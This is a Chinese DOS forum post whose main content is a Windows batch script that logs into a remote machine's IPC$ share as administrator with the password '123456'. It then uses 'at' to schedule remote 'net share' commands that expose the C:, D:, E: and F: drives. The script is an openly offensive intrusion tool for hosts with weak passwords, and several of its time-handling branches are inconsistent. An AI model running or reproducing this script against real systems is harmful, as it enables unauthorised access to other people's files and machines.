联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!
@echo off net use \\192.168.1.178\ipc$ 123456 /user:administrator | find "成功" && if ERRORLEVEL 0 (echo 太好了,继续努力. for /f "tokens=4,5" %%a in ('net time \\192.168.1.178') do ( if "%%a"=="下午" goto :2 echo 原始时间是---%%b for /f "tokens=1* delims=:" %%j in ("%%b") do ( setlocal enabledelayedexpansion set /a c="%%k"+1 if !c! GEQ 10 if !c! LEQ 59 (at \\192.168.1.178 %%j:!c! net share e$=e: at \\192.168.1.178 %%j:!c! net share c$=c: at \\192.168.1.178 %%j:!c! net share d$=d: at \\192.168.1.178 %%j:!c! net share f$=f: echo 改变后的时间是---%%j:!c! goto :eof ) if !c! LEQ 10 (at \\192.168.1.178 %%j:0!c! net share e$=e: at \\192.168.1.178 %%j:!c! net share c$=c: at \\192.168.1.178 %%j:!c! net share d$=d: at \\192.168.1.178 %%j:!c! net share f$=f: echo 改变后的时间是---%%j:0!c! goto :eof ) if !c! GEQ 59 (set /a m=%%j+1 at \\192.168.1.178 !m!:00 net share e$=e: at \\192.168.1.178 %%j:!c! net share c$=c: at \\192.168.1.178 %%j:!c! net share d$=d: at \\192.168.1.178 %%j:!c! net share f$=f: echo 改变后的时间是---%%j:!c! goto :eof ) ) ) ) :2 for /f "tokens=5" %%q in ('net time \\192.168.1.178') do ( echo 原始时间是---%%q for /f "tokens=1* delims=:" %%r in ("%%q") do ( setlocal enabledelayedexpansion set /a n="%%r"+12 set /a o="%%s"+1 if !o! GEQ 10 if !o! LEQ 59 (at \\192.168.1.178 !n!:!o! net share e$=e: at \\192.168.1.178 !n!:!o! net share c$=c: at \\192.168.1.178 !n!:!o! net share d$=d: at \\192.168.1.178 !n!:!o! net share f$=f: echo 改变后的时间是---!n!:!o! goto :eof ) if !o! LEQ 10 (at \\192.168.1.178 !n!:0!o! net share e$=e: at \\192.168.1.178 !n!:!o! net share c$=c: at \\192.168.1.178 !n!:!o! net share d$=d: at \\192.168.1.178 !n!:!o! net share f$=f: echo 改变后的时间是---!n!:0!o! goto :eof ) if !o! GEQ 59 (set /a p=!n!+1 at \\192.168.1.178 !p!:00 net share e$=e: at \\192.168.1.178 !p!:00 net share c$=c: at \\192.168.1.178 !p!:00 net share d$=d: at \\192.168.1.178 !p!:00 net share f$=f: echo 改变后的时间是---!n!:!o! goto :eof ) ) )